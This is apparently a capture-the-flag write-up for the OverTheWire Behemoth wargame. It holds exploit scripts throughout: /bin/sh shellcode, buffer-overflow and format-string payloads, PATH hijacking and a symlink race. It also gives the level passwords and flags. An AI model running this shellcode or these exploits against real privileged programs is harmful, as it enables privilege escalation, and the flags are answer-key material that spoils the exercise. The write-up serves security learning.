This folder contains solutions for the Behemoth wargame from OverTheWire.
the code can be found here
from pwn import *
PATH = '/behemoth/behemoth0'
password = "eatmyshorts"
p = process(PATH)
p.sendline(password.encode())
p.interactive()
p.close()
here we reversed the file, and saw the password is eatmyshorts
Flag: 8YpAQCAuKf
first we can see the challenge is based on buffer overflow, because the binary uses get.
let’s use our script to find what is the position of the ret-address… we’ve found it’s 71. then, we will generate shellcode.
import sys
NOP_SLIDE = 50
print = lambda *args, **kwargs: None # override print function
# setreuid(geteuid(), geteuid())
# execv("/bin//sh", argv)
# Shellcode in Python
shellcode = (
b"\x6a\x31" # push 0x31 (49)
b"\x58" # pop eax
b"\xcd\x80" # int 0x80 (geteuid())
b"\x89\xc3" # mov ebx, eax (uid)
b"\x89\xd9" # mov ecx, ebx
b"\x6a\x46" # push 0x46 (70)
b"\x58" # pop eax
b"\xcd\x80" # int 0x80, setreuid(geteuid(), geteuid())
b"\x31\xd2" # xor edx, edx
b"\x52" # push edx, which is \0
b"\x68\x2f\x2f\x73\x68" # push "//sh"
b"\x68\x2f\x62\x69\x6e" # push "/bin"
b"\x89\xe3" # mov ebx, esp (now ebx contains: "/bin//sh",\x00)
b"\x52" # push edx (push NULL into stack)
b"\x53" # push ebx (push pathname)
b"\x89\xe1" # mov ecx, esp (ecx is argv)
b"\xb0\x0b" # mov al, 0x0b (11)
b"\xcd\x80" # int 0x80 (execv("/bin//sh", argv))
# mv eax, 1 ; system call number (sys_exit)
b"\x6a\x01" # push 1
b"\x58" # pop eax (sys_exit)
# int 0x80
b"\xcd\x80" # int 0x80 (exit())
)
# Print shellcode details
print("Shellcode code is:")
print("setreuid(geteuid(), geteuid())")
print("execv(\"/bin//sh\", argv)")
# Print shellcode with NOP slide
print("\nShellcode as formatted string:")
# Add NOP slide (\x90) before shellcode
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode
# Convert to formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in formatted_shellcode)
print(formatted_string)
# Print shellcode in hex format
print("\nShellcode in hex format:")
print("".join(f"{byte:02x}" for byte in formatted_shellcode))
# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")
sys.stdout.buffer.write(formatted_shellcode)
now we will load the shellcode into env variable:
export SHELLCODE=$(echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x6a\x31\x58\xcd\x80\x89\xc3\x89\xd9\x6a\x46\x58\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80")
we need to find the address of the env variable.
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char* argv[])
{
if(argc < 2){
printf("Usage: num of variable is %d, less than expected\n",argc);
return 1;
}
printf("name of var is: %s\n", argv[1]);
printf("address is %p\n", (void*)getenv(argv[1]));
return 0;
}
// this code can be used to get address of env_var, by this way you can override the ret-address
notice to compile it with the -m32
flag, for example: gcc -m32 get_address.c -o get_address
after finding the address of the env variable, in our case: 0xffffd511
, we need to insert it to the script that solves the challenge.
from pwn import *
PATH = '/behemoth/behemoth1'
print(cyclic(1000)) # Generate a 100-byte cyclic pattern
# crash_addr = 0x66616168
# print(cyclic_find(crash_addr))
# find after how many bytes the ret-address is found, in this case, 71.
ret_addr_pos = 71
ret_addr = 0xffffd511
payload = ret_addr_pos * b'a'
payload += p32(ret_addr)
p = process(PATH)
p.sendline(payload)
p.interactive()
p.close()
Flag: IxPJbQtH8q
In this challenge, we can see the code call this line in C: system("touch $pid")
, so, we’ll override the touch
by manipulating the $PATH environment variable.
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ echo "/bin/bash" > touch
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ export PATH=$(pwd):$PATH
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ chmod +x touch
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ chmod +x .
behemoth2@gibson:/tmp/tmp.SzpOLaiNNy$ /behemoth/behemoth2
behemoth3@gibson:/tmp/tmp.SzpOLaiNNy$ cat /etc/behemoth_pass/behemoth3
JQ6tZGqt0i
Flag: JQ6tZGqt0i
first i created profile.rr2
file and put the follow content in it:
program=/behemoth/behemoth3
stdin=input
then, i inserted the payload into the input file:
python3 payload.py > input
and then, when i want to debug with r2 and the given input, i can run this line:
r2 -e dbg.profile=profile.rr2
first, we can see that the binary doesn’t use ASLR, and also the relro is turned off.
so, let’s try to use the format string attack to override the address of the puts function to our shellcode address.
find the address to override:
so, the address is:
0x0804b218
the address we want to insert is: 0xffffd53f
(same as last level, put shellcode on env, and find its address)
the python script for creating the payload can is here: [level4.py]
from pwn import *
import sys
address_of_puts = 0x0804b218
address_of_shellcode = 0xffffd510
payload = b'JUNK'
payload += p32(address_of_puts)
payload += b'JUNK'
payload += p32(address_of_puts+1)
payload += b'JUNK'
payload += p32(address_of_puts+2)
payload += b'JUNK'
payload += p32(address_of_puts+3)
printed_chars = len(payload)
byte_to_insert = address_of_shellcode & 0xff
print(byte_to_insert)
res = byte_to_insert - printed_chars
print("res is:",res)
if res <= 4:
while res <= 4:
res += 0x100
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
else:
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
byte_to_insert = (address_of_shellcode & (0xff << 8) ) >> 8
print(byte_to_insert)
res = byte_to_insert - printed_chars
print("res is:",res)
if res <= 4:
while res <= 4:
res += 0x100
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
else:
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
byte_to_insert = (address_of_shellcode & (0xff << 16) ) >> 16
print(byte_to_insert)
res = byte_to_insert - printed_chars
print("res is:",res)
if res <= 4:
while res <= 4:
res += 0x100
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
else:
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
byte_to_insert = (address_of_shellcode & (0xff << 24) ) >> 24
print(byte_to_insert)
res = byte_to_insert - printed_chars
print("res is:",res)
if res <= 4:
while res <= 4:
res += 0x100
# payload += b'%' + str(res+4).encode()+ b'x' + b'%n'
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
else:
payload += b'%' + str(res).encode()+ b'x' + b'%n'
printed_chars += res
sys.stdout.buffer.write(payload)
after building the payload, all left is to run this:
(python3 payload.py;cat) | /behemoth/behemoth3
and then
cat /etc/behemoth_pass/behemoth4
hpjUdlG723
Flag: hpjUdlG723
i created a code in c that creates the file, and then link it to the password.
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
int main()
{
pid_t pid = getpid();
printf("current pid is %d\n", pid);
char command[20];
sprintf(command, "touch /tmp/%d", pid);
system(command);
printf("created /tmp/%d\n", pid);
char command_link[50];
sprintf(command_link, "ln -sf /etc/behemoth_pass/behemoth5 /tmp/%d", pid);
system(command_link);
printf("linked /tmp/%d to /etc/behemoth_pass/behemoth5\n", pid);
const char* filename = "/behemoth/behemoth4";
execl(filename, filename ,NULL);
return 0;
}
Flag: mVfC4rBKZ4
in this challenge i wrote simple script that creates UDP socket that tries to listen to localhost:1337
import socket
HOST = '127.0.0.1'
PORT = 1337
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((HOST, PORT))
while True:
try:
data = sock.recv(1024)
print(f"Received: {data.decode('utf-8')}")
break
except Exception as e:
print(f"An error occurred: {e}")
Flag: j9I1wHzfVC
In this challenge, we need to write our own shellcode that will print “HelloKitty”. notice that you can’t use ‘0xb’ in the shellcode, which is the length of the string “HelloKitty”, thus, i used ‘0xc’ (it will stop after 11 characters because there is null there)
here the shellcode can be found
import sys
NOP_SLIDE = 50
# print = lambda *args, **kwargs: None # override print function
# Shellcode in Python
# write(1, "HelloKitty", 11)
shellcode = (
# mov ecx,msg ; message to write
b"\x31\xd2" # xor edx, edx
b"\x52" # push edx, which is \0
b"\x68\x69\x74\x74\x79" # push "itty"
b"\x68\x6c\x6c\x6f\x4b" # push "lloK"
b"\x68\x0a\x0a\x48\x65" # push "He"
b"\x83\xc4\x02" # add esp, 2
b"\x89\xe1" # mov ecx, esp (now ecx contains: "HelloKitty",\x00)
# mov ebx,1 ; file descriptor (stdout)
b"\x6a\x01" # push 1
b"\x5b" # pop ebx
# mov edx,12 ; message length (+1s)
b"\x6a\x0c" # push 11, in this challange i mustn't use '0xb'
b"\x5a" # pop edx
# mov eax,4 ; system call number (sys_write)
b"\x6a\x04" # push 4
b"\x58" # pop eax (sys_write)
# int 0x80
b"\xcd\x80" # int 0x80 (write(1, "HelloKitty", 11))
# mv eax, 1 ; system call number (sys_exit)
b"\x6a\x01" # push 1
b"\x58" # pop eax (sys_exit)
# int 0x80
b"\xcd\x80" # int 0x80 (exit())
)
# Print shellcode details
print("Shellcode code is:")
print("write(1, \"HelloKitty\", 11)")
# Print shellcode with NOP slide
print("\nShellcode as formatted string:")
# Add NOP slide (\x90) before shellcode
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode
# Convert to formatted string
print("".join(f"\\x{byte:02x}" for byte in formatted_shellcode))
# Print shellcode in hex format
print("\nShellcode in hex format:")
print("".join(f"{byte:02x}" for byte in formatted_shellcode))
# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")
# sys.stdout.buffer.write(formatted_shellcode)
Flag: sV17oOQTKc
we can see it doesn’t have ASLR and stack protection.
we’ve found using the begin of the script that after 528 bytes we reach the ret-address. however, when trying to enter non alpha characters, it detects us and closing.
if we’ll look closely, we can see that it checks only the 512 first characters, then, it will go to the strcpy without checking. YAY :)
now all left is to find the address of the buffer, play with the debugger to find it. notice it changes based on the length of the input you give it.
here can be found our injection:
from pwn import *
print = lambda *args, **kwargs: None # override print function
# Generate a 528-byte cyclic pattern to identify the return address position (if needed)
# print(cyclic(1000)) # Generate a 1000-byte cyclic pattern
# crash_addr = 0x66616168
# print(cyclic_find(crash_addr)) # Uncomment to find the offset
# For this case, ret-address is at offset 528
ret_addr_pos = 528
buffer_address = 0xffffce8c # Example buffer address; adjust for your environment
# Calculate the new return address to point to the shellcode
new_ret_address = buffer_address + ret_addr_pos + 8 # Shellcode starts right after ret address
# Initial payload with padding
payload = b"A" * ret_addr_pos # Padding to fill the buffer
payload += p32(new_ret_address) # Overwrite return address with the address pointing to the shellcode
NOP_SLIDE = 50 # Number of NOP instructions before shellcode
# Shellcode in Python
shellcode = (
b"\x6a\x31" # push 0x31 (geteuid())
b"\x58" # pop eax
b"\xcd\x80" # int 0x80 (geteuid())
b"\x89\xc3" # mov ebx, eax (uid)
b"\x89\xd9" # mov ecx, ebx
b"\x6a\x46" # push 0x46 (setreuid())
b"\x58" # pop eax
b"\xcd\x80" # int 0x80 (setreuid(geteuid(), geteuid()))
b"\x31\xd2" # xor edx, edx
b"\x52" # push edx, which is \0
b"\x68\x2f\x2f\x73\x68" # push "//sh"
b"\x68\x2f\x62\x69\x6e" # push "/bin"
b"\x89\xe3" # mov ebx, esp (now ebx contains "/bin//sh",\x00)
b"\x52" # push edx (push NULL into stack)
b"\x53" # push ebx (push pathname)
b"\x89\xe1" # mov ecx, esp (ecx is argv)
b"\xb0\x0b" # mov al, 0x0b (execve syscall number)
b"\xcd\x80" # int 0x80 (execve("/bin//sh", argv))
b"\x6a\x01" # push 1
b"\x58" # pop eax (sys_exit)
b"\xcd\x80" # int 0x80 (exit())
)
# Add NOP slide (\x90) before the shellcode for stability
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode
# Append the shellcode to the payload
payload += formatted_shellcode
# Print shellcode details
print("Shellcode code is:")
print("setreuid(geteuid(), geteuid())")
print("execv(\"/bin//sh\", argv)")
# Print shellcode as formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in formatted_shellcode)
print("\nShellcode as formatted string:")
print(formatted_string)
# Print shellcode in hex format
print("\nShellcode in hex format:")
print(" ".join(f"{byte:02x}" for byte in formatted_shellcode))
# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")
# Print shellcode as formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in payload)
print("Final payload as formatted string:")
print(formatted_string)
# Final payload ready to be sent
print("\nFinal payload in hex:")
print(" ".join(f"{byte:02x}" for byte in payload))
sys.stdout.buffer.write(payload)
Flag: 8yWcelJd0D
import sys
NOP_SLIDE = 50
print = lambda *args, **kwargs: None # override print function
# setreuid(geteuid(), geteuid())
# execv("/bin//sh", argv)
# Shellcode in Python
shellcode = (
b"\x6a\x31" # push 0x31 (49)
b"\x58" # pop eax
b"\xcd\x80" # int 0x80 (geteuid())
b"\x89\xc3" # mov ebx, eax (uid)
b"\x89\xd9" # mov ecx, ebx
b"\x6a\x46" # push 0x46 (70)
b"\x58" # pop eax
b"\xcd\x80" # int 0x80, setreuid(geteuid(), geteuid())
b"\x31\xd2" # xor edx, edx
b"\x52" # push edx, which is \0
b"\x68\x2f\x2f\x73\x68" # push "//sh"
b"\x68\x2f\x62\x69\x6e" # push "/bin"
b"\x89\xe3" # mov ebx, esp (now ebx contains: "/bin//sh",\x00)
b"\x52" # push edx (push NULL into stack)
b"\x53" # push ebx (push pathname)
b"\x89\xe1" # mov ecx, esp (ecx is argv)
b"\xb0\x0b" # mov al, 0x0b (11)
b"\xcd\x80" # int 0x80 (execv("/bin//sh", argv))
# mv eax, 1 ; system call number (sys_exit)
b"\x6a\x01" # push 1
b"\x58" # pop eax (sys_exit)
# int 0x80
b"\xcd\x80" # int 0x80 (exit())
)
# Print shellcode details
print("Shellcode code is:")
print("setreuid(geteuid(), geteuid())")
print("execv(\"/bin//sh\", argv)")
# Print shellcode with NOP slide
print("\nShellcode as formatted string:")
# Add NOP slide (\x90) before shellcode
nop_slide = b"\x90" * NOP_SLIDE
formatted_shellcode = nop_slide + shellcode
# Convert to formatted string
formatted_string = "".join(f"\\x{byte:02x}" for byte in formatted_shellcode)
print(formatted_string)
# Print shellcode in hex format
print("\nShellcode in hex format:")
print("".join(f"{byte:02x}" for byte in formatted_shellcode))
# Calculate shellcode length
print(f"\nLength of shellcode is {len(formatted_shellcode)} bytes")
sys.stdout.buffer.write(formatted_shellcode)
we need to find the address of the env variable.
#include<stdio.h>
#include<stdlib.h>
int main(int argc, char* argv[])
{
if(argc < 2){
printf("Usage: num of variable is %d, less than expected\n",argc);
return 1;
}
printf("name of var is: %s\n", argv[1]);
printf("address is %p\n", (void*)getenv(argv[1]));
return 0;
}
// this code can be used to get address of env_var, by this way you can override the ret-address
from pwn import *
PATH = '/behemoth/behemoth1'
print(cyclic(1000)) # Generate a 100-byte cyclic pattern
# crash_addr = 0x66616168
# print(cyclic_find(crash_addr))
# find after how many bytes the ret-address is found, in this case, 71.
ret_addr_pos = 71
ret_addr = 0xffffd511
payload = ret_addr_pos * b'a'
payload += p32(ret_addr)
p = process(PATH)
p.sendline(payload)
p.interactive()
p.close()
Flag: IxPJbQtH8q